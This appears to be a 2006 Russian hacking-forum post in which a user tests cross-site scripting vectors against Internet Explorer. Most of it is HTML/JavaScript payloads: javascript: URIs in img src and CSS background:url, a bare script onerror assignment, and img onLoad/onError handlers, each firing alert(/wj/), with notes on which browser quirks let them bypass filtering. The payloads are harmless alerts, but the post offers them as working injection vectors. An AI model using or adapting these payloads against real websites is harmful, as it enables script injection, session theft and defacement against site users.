XSS крупным планом.

#16

28.01.2006, 01:41

~~Humor~~

Banned

Регистрация: 26.01.2006

Сообщений: 19

С нами: 10677926

Репутация: 0

В принципе, вот только что протестил с отключенными картинками в ИЕ,

вот так

Код HTML:

<img src="javascript:alert(/wj/)">

не работает, а вот так,

Код HTML:

<img src="javascript:alert(/wj/)">
<script>onerror=alert(/wj/)</script>

- Да.

Так что если картинки отключены, то это совсем таки не беда.

Это Я типа пример дал. Onerror рулит это мое личное мнение имхо.

Надо просто уметь им пользоваться.

EDIT: Но однако опять сделал тест, onerror в этом случае работает не из-за онеррор...

Ибо так,

Код HTML:

<script>onerror=alert(/wj/)</script>

Будет тоже работать само по себе.

Ща будем еще думать.

EDIT: Кстати пока искал, понял почему онеррор работает сам по себе.

Код HTML:

<span style=background:url('javascript:wjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwj=alert(/wj/)')>wj</span>

Так тоже будет работать в ИЕ.

То есть оказывается не важно, что идет до параметров!
Они в этом случае становятся наименованиями.

Код HTML:

<script>wjwjwjwjwjwjwjwjwjwjwjwjwjwjwjwj=alert(/wj/)</script>

Кстати если ты отключишь картинки, то ты в принципе их не отключишь, а заблокируешь автоматически закружатся вот.

Код HTML:

<img src="javascript:alert(/wj/)">

С отключенными картинками в ИЕ, ты приведешь браузер ИЕ в состояние ФФ! То есть если правой кнопкой мыши нажмешь на "view image" алерт появится! Это состояние является включенным по умолчанию в браузере Фаерфокс.

EDIT:

Кстати еще добавлю, что если написать вот так,

Код HTML:

<img src="http://forum.antichat.ru/antichat/pic/logo.gif" onLoad="alert(/wj/)">

то тоже будет алерт во всех браузерах. То есть если картинка существует.

Если же она НЕ существует,
то думаю, что всем понятно и так, что следует писать вот так,

Код HTML:

<img src="http://forum.antichat.ru/antichat/wj/logo.gif" onError="alert(/wj/)">

Последний раз редактировалось Humor; 28.01.2006 в 02:28..

Создать сделку

Мои сделки

Сделка